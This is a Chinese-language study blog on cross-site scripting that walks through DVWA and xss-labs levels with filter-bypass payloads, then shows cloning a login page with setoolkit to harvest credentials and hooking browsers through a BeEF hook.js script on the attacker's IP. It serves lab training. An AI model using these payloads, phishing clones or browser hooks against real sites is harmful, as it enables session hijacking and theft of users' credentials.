XSS跨站脚本攻击

学习XSS攻击需要学习者具备有html基础知识和JavaScript基础知识,这里就不再详细讲述,没有基础的同学可以去补一下再来学习XSS会轻松很多!下面我们在用到html和javascript知识时会挑重点看一下。

JavaScript 语言基础

JavaScript 与 Java 没有任何关系,它们只是名字相似而已。

JavaScript 的代码嵌入在 HTML 里,直接在客户端的浏览器上执行,属于前端语言。大多数的 XSS 代码都是使用 JavaScript 语言编写的,JavaScript 能做到什么效果,XSS 的威力就有多大。

基本的 JavaScript 语法结构

所有的 JavaScript 语句必须包含在<script>……</script>标签中。

每行 JavaScript 语句以“;”表示结束。(可选)

document 是个对象,指当前网页,write 是其动作。

document.write 就是让当前的网页执行 write 动作,将()里的内容写入到页面当中去。

可以通过 JavaScript 输出 html 标签。

JavaScript 中的变量必须用 var 语句定义。

拼接多个变量或字符串,采用“+”而不是“.”。

单行注释使用“//”,多行注释使用“/*……*/”

用 JavaScript 对某个事件做出反应

在 JavaScript 里,事件是网页与用户交互或自身状态改变时触发的信号。事件种类多样,下面介绍常见的几类:

1. 鼠标事件(常用)

这类事件和鼠标操作相关,常见的有:

  • click:当用户点击元素时触发。
  • dblclick:用户双击元素时会触发此事件。
  • mouseover:鼠标指针移动到元素上时触发。
  • mouseout:鼠标指针移出元素时触发。
  • mousemove:鼠标在元素上移动的过程中,持续触发该事件。
  • mousedown:按下鼠标按钮时触发。
  • mouseup:释放鼠标按钮时触发。

2. 键盘事件(常用)

键盘事件和键盘操作对应,例如:

  • keydown:按下键盘按键时触发。
  • keyup:释放键盘按键时触发。
  • keypress:按下可输入字符的按键时触发(该事件逐渐被弃用,建议优先使用keydown)。

3. 表单事件

表单事件和表单元素的交互有关,像:

  • submit:用户提交表单时触发。
  • change:表单元素的值发生改变且失去焦点时触发。
  • focus:元素获得焦点时触发。
  • blur:元素失去焦点时触发。
  • input:输入框内容发生变化时持续触发。

“alert”是 JavaScript 的弹框语句。

 document 对象的常用属性

document.cookie,显示当前页面的 cookie:<script>alert(document.cookie);</script>

document.location,显示当前页面的 URL:<script>alert(document.location);</script>

location.href 实现页面跳转,当前页面整体跳转到另一个页面上去:

<script>alert(document.location);location.href="http://taobao.com ";</script>

ps:

location.href 也可简写成 location

注:先弹框,再整体跳转;

XSS基础知识

        XSS,即跨站脚本攻击,是 Web 安全领域中十分常见的漏洞类型。攻击者通过在 Web 页面中注入恶意脚本,当用户浏览该页面时,恶意脚本便会在用户的浏览器中执行。借助这种攻击方式,攻击者能够窃取用户的敏感信息,如登录凭证个人隐私数据,cookie资料窃取,钓鱼欺骗等劫持用户会话,以用户身份进行各种操作;甚至篡改网站内容,严重损害网站的声誉和用户信任。这主要是由于 web 应用程序对用户的输入过滤不足而产生的。

危害:盗取用户 cookie;修改网页内容;网站挂马;利用网站重定向;XSS 蠕虫

XSS分类

XSS(跨站脚本攻击)根据恶意脚本存储位置执行路径差异,可划分为以下三类:

1、反射型XSS(Reflected XSS)

        反射型 XSS (非持久型 XSS),黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然后用户浏览器执行恶意代码触发 XSS 漏洞。最常见且使用较广,主要是用于将恶意脚本附加到 url 地址的参数中,经常出现在搜索栏,登入点等;常用来窃取客户端 cookie 或者用来钓鱼欺骗。

  • 触发条件‌:恶意脚本通过URL参数传递,服务器未过滤直接返回到页面。
  • 攻击场景‌:常见于钓鱼邮件或诱导链接中,需用户主动点击攻击链接

一般攻击流程:

A 用户登陆页面

B 黑客将构造的 url 发送给用户

C 用户被诱骗 打开了链接

D Web 程序解析了 Js 并做出回应

E 用户的浏览器会发送会话信息发给攻击者

F 攻击者劫持用户会话

2、存储型XSS(Stored XSS)

        存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。

        比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本数据库的方式保存在服务器端,所以称之为存储型 XSS。一般出现在留言板,评论,博客等交互处。

  • 存储媒介‌:恶意脚本被永久保存在服务器数据库(如评论区、用户资料页)。
  • 攻击范围‌:所有访问受污染页面的用户均会触发攻击,危害性较高。‌‌‌‌

特点:不需要用户单击特定 url

利用手段: 直接向服务器中存储恶意代码,用户访问都会中招

xss 蠕虫

一般攻击流程:

A 攻击者提交包含恶意 js 的代码(内容) 百度 xss

B 用户登陆

C 用户浏览了攻击者提交的内容

D 服务器对攻击者的 js 进行解析 做出回应

E 攻击者潜入的 js 代码在用户的浏览器中执行

F 用户的浏览器向攻击者发送会话令牌

G 攻击者劫持用户

3‌、DOM型XSS(DOM-based XSS)

DOM 概述:HTML DOM 定义了访问操作 HTML 文档的标准方法。

DOM 将 HTML 文档表达为树结构。HTML DOM 树结构如下:

  • 攻击路径‌:通过修改网页DOM结构触发,无需与服务器交互。
  • 技术特性‌:依赖客户端JavaScript对URL片段或本地存储数据的处理漏洞。‌‌‌‌

DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型XSS。

XSS 成因

1)用户输入没有进行严格控制,而直接输出到页面

2)对非预期的输入的信任

漏洞一般存在位置?

日志,评论,留言板,编辑器,个人资料详情

当别人访问他人资料,查看日志,评论,留言;点击一个链接,邮件时;受害者也会变为传播者。

 XSS攻击练习之DVWA

1、搭建DVWA环境(之前已经搭建过,不会的看另一篇笔记)

2、登录(用户:admin 密码:password)

调整安全性级别

3、练习

1、反射型 XSS 

(1)Low:<script>alert('xss'); </script>  #无任何过滤

看源代码

成功!

(2)mediem:过滤<script>

修改安全性等级

看源代码

尝试通过str_replace()函数过滤用户输入中的<script>标签来防止 XSS 攻击,但这种方法存在严重缺陷,无法有效防御 XSS。

攻击者可通过大小写绕过双写绕过、标签变体绕过的方法进行攻击

大小写绕过:<ScriPT>alert('xss')</script>或者<SCRIPT>alert('xss')</script>

双写绕过:<sc<script>ript>alert(1)</script>

标签变体绕过:

<scr&#x69;pt>alert('XSS')</scr&#x69;pt>  // 使用十六进制编码
<script >alert('XSS')</script >            // 标签内添加空格

 

(3)high:#使用黑名单过滤输入(过滤script每个字母),preg_replace() 函数用于正则表达式的搜索和替换

尽管使用了正则表达式,代码仍存在以下漏洞:

1、其他 HTML 标签注入

攻击者可使用非<script>标签执行 JavaScript:

  • <img src=x οnerrοr=alert('XSS')>

  • <body οnlοad=alert('XSS')>

  • <a href="javascript:alert('XSS')">Click</a>

  • <iframe οnlοad=alert(1)>

2、事件处理函数注入

  • <div οnclick=alert('XSS')>Click me</div>

  • <input type=text οnfοcus=alert('XSS')>

3、JavaScript 协议注入

<a href="javascript:alert('XSS')">Link</a>

4、正则表达式绕过

  • 标签嵌套<scr<script>ipt>alert(1)</scr</script>ipt>

  • 编码绕过<scr&#x69;pt>alert(1)</scr&#x69;pt>(使用 HTML 实体编码)

  • 部分匹配:输入<scri会被保留,结合后续内容可能形成有效标签。
(4)Impossible:几乎不可能绕过

2、存储型 XSS

(1)low:<script>alert('xss'); </script>

看源代码

代码功能概述

这段 PHP 脚本处理用户提交的留言表单,主要流程:

  1. 检查表单提交按钮是否被点击。
  2. 获取并清理用户输入的留言内容和姓名。
  3. 使用mysqli_real_escape_string转义输入,尝试防止 SQL 注入。
  4. 将数据插入 MySQL 数据库的guestbook表。
  5. 显示数据库错误信息(如果插入失败)。

name做了长度限制,在message中输入

用户再次进入该模块依然会弹框

因为是本地保存,也可以直接更改name的长度限制(网络保存不行)

(2)medium:<ScriPT>alert(1)</script> #过滤<script>,可使用大小写、双写绕过

 message中使用htmlspecialchars 函数实体化,可在name中输入

(3)high:正则表达式过滤<script>标签可使用其他标签

iframe 标签绕过 <iframe οnlοad=alert(1)>

Img 标签绕过:<img src=1 οnerrοr=alert(1)>

(4)impossible:几乎不可能绕过

3、DOM型 XSS

(1)low:http://192.168.1.9/DVWA/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

看源代码

 

2、Medium:<img src=1 οnerrοr=alert(1)> 

看源代码

3、high:#<script>alert(1); </script>

看源代码

可以发现使用了白名单的思想,只允许French,English,German以及Spanish。

这里我们拿#来进行绕过,#后面的内容是被注释的,所以他不会发到后端进行校验,但是js是一个前端语言。

4、网页重定向

反射型的 XSS low级别文本框输入以下js代码攻击:

<script>

window.onload = function() {

var link=document.getElementsByTagName("a");

for(j = 0; j < link.length; j++) {

link[j].href="http://taobao.com";}

}

</script>

函数功能:document.getElementsByTagName 获取页面中所有的 a 标签,存放到 link 数组中,使用 for 循环将 link 数组中的所有元素替换为恶意网址。 

 

 5、XSS-labs-master靶场练习

搭建环境

准备好压缩包

解压到PHPstudy\phpstudy_pro\WWW目录下:

访问127.0.0.1/xss-labs-master,就可以使用了

第一关(反射型XSS)

         xss漏洞执行是通过向web页面插入JavaScript恶意代码,待用户浏览该页面时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 

        xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

看源代码

由源代码可知,没有任何过滤转义的操作,所以直接注入就可以

payload :<script>alert('xss')</script>

第二关

看源代码

在上述代码里,$str 是从 $_GET["keyword"] 获取的用户输入,在 <input> 标签的 value 属性中直接使用了 $str,而没有进行合适的转义。

payload:level2.php?keyword="><script>alert(1)</script>

通过闭合  ”  > ,闭合后的语句是    <input name=keyword  value=“1”><script>alert(1)</script>

第三关

看源代码

        代码中对 $str 进行了 htmlspecialchars 处理,在大部分情况下能防止常见的 XSS 攻击。不过,当攻击者利用 HTML 事件属性时,仍可能构造出能执行恶意脚本的情况。在 HTML 标签的属性中,如果输入包含事件处理函数(如 onclick、onload 等),即使使用了 htmlspecialchars 转义了引号,攻击者依然可以通过构造合适的输入绕过部分防护。

        虽然对 value 属性的值进行了转义,但如果攻击者输入的是包含事件处理函数的内容,可能会引发 XSS 攻击

payload:?keyword='οnmοuseοver='alert(/xss/)

onmouseover :当用户将鼠标悬停在输入框上时,onmouseover 事件触发,恶意脚本 alert("XSS") 就会被执行。

                ?keyword='οnclick='alert(1)

                ?keyword=' οnclick=alert(1)//

第四关

payload:?keyword="οnclick="alert(1)

                ?keyword="οnmοuseοver="alert(/xss/)

                ?keyword=" οnclick=alert(1)//

第五关

看源代码

我们发现on被替换了,我们需要绕过,script也被替换,我们用大小写发现也被绕过了,那我们可以使用javascript伪协议。 

JavaScript 伪协议(JavaScript Protocol Handler)是一种特殊的 URL 协议,允许在 URL 中直接执行 JavaScript 代码。它的语法格式为:javascript:[代码片段]

例如:<a href="javascript:alert('Hello, World!')">点击执行JS</a>

当用户点击这个链接时,浏览器会执行alert('Hello, World!')

payload:?keyword="><a href="javascript:alert(1)">点击这里</a>

                ?keyword="><a href=javascript:alert(1)>11</a>//

第六关

strtolower() 是 PHP 中的一个内置函数,用于将字符串中的所有大写字母转换为小写字母,而不改变其他字符(如数字、标点符号或非字母字符)。我们没有在代码中看到上面这个函数,可以试一试大小写绕过。

payload:?keyword="Onmouseover="alert(/xss/)

                ?keyword="Onclick="alert(1)

                ?keyword=" Onclick=alert(1)//

第七关

可以试一试双写绕过

payload:?keyword="oonnclick="alert(1)

?keyword="><a hrhrefef=javascrscriptipt:alert(1)>11</a>//

第八关

这里的思路是:把我们输入框的值当成a标签里的href属性进行跳转

因为前面的过滤规则很多,我们把payload语句转换成unicode格式

payload:javascript:alert(1)

编码后:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在线 Unicode 编码转换 | 菜鸟工具

第九关

payload:?keyword=javasc&#114;ipt:alert(1)//http://

?keyword=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)/*http://*/

这两种payload只是编码方式的不同。

javasc&#114;ipt:alert(1)//http://

只对关键字符 r 进行 HTML 实体编码(&#114; 是 r 的十进制实体)。浏览器渲染时将 &#114; 还原为 r,形成完整的 javascript:alert(1)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)/*http://*/

对整个 javascript 字符串进行 HTML 实体编码(如 &#106; 是 j 的十进制实体)。

浏览器将所有实体还原为原始字符:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116; → javascript

第十关

payload:&t_sort=" type='text' οnclick=javascript:alert(12)>//

                t_sort="type="text" οnmοuseοver="alert(1)

第十一关

我们用burpsuite抓包尝试在请求头refer输入值查看结果

payload:"type="text" οnmοuseοver="alert(1)

第十二关

可以猜测是User-Agent,我们用BP抓包,找到user-agent:

payload:"type="text" οnmοuseοver="alert(1)

直接把payload写在user-agent的后面,然后放开

第十三关

同样先抓包,然后在cookie注入,还是用上一关的payload

payload:"type="text" οnmοuseοver="alert(1)

第十四关到第二十关

先不做了

6、钓鱼网站

1、在虚拟机里下载kali,给kali换源

进入root权限

2、增加国内源地址

vi /etc/apt/sources.list
i进入插入模式,将以下地址加入该页面:

esc键退出插入模式,输入:wq强制保存并退出。

3、更新源仓库

apt-get update

4、首先在kali里开启apache服务

命令:systemctl start apache2

改成root用户:su -  

5、第二步使用setoolkit(是kali自带的软件,可以直接使用)克隆网站

命令:setoolkit

然后开始选择:

1(社会工程攻击)-2(网站攻击载体)-3(凭证收割机攻击方法)-2(站点克隆)-回车

目标url:http://10.20.0.5/dvwa/login.php(本机的ip)

y

打开本机,访问kali的IP:173.17.17.24

克隆成功!

在这里输入用户名和密码,就会跳转到自己本机的IP

此时去kali里,可以查看到用户输入的账号和密码

7、beef-xss

 安装:apt-get install beef-xss

运行:beef-xss

账号:beef

密码:beef1

在kali里打开火狐浏览器,访问 http://127.0.0.1:3000/ui/panel

账号:beef 密码:是你在上面输入的密码(这里我输入的是:beef1)
成功进入的页面.

查询kali本机ip:173.17.17.24

修改拿到的payload,把IP换成kali的IP:<script src="http://173.17.17.24:3000/hook.js"></script>

去本机访问12.0.0.1/dvwa

去kali 里

在这里我们可以执行一些操作,与蚁剑的原理类似

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值